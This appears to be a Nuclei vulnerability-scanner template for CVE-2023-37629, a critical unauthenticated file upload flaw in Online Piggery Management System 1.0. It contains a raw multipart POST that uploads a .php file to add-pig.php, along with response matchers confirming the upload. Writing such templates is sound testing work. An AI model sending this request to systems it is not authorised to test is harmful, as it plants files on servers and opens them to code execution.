id: CVE-2023-37629 info: name: Online Piggery Management System v1.0 - Unauthenticated File Upload author: Harsh severity: critical description: | Online Piggery Management System 1.0 is vulnerable to File Upload. An unauthenticated user can upload a php file by sending a POST request to add-pig.php. reference: - https://www.exploit-db.com/exploits/51598 - https://nvd.nist.gov/vuln/detail/CVE-2023-37629 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-37629 cwe-id: CWE-434 metadata: max-request: 1 verified: true tags: cve,cve2023,fileupload,rce,opms,intrusive http: - raw: - | POST /pig/add-pig.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="pigno" pig-fms-100 -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="weight" 65465 -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="arrived" {{date_time("%Y-%M-%D")}} -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="gender" female -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="status" active -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="breed" 2 -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="remark" 4fwefwe -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="pigphoto"; filename="{{rand_base(5)}}".php" Content-Type: application/x-php -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="submit" -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP-- matchers: - type: dsl dsl: - 'status_code == 302' - 'contains(content_type, "text/html")' - 'contains(body, "successfully created")' condition: and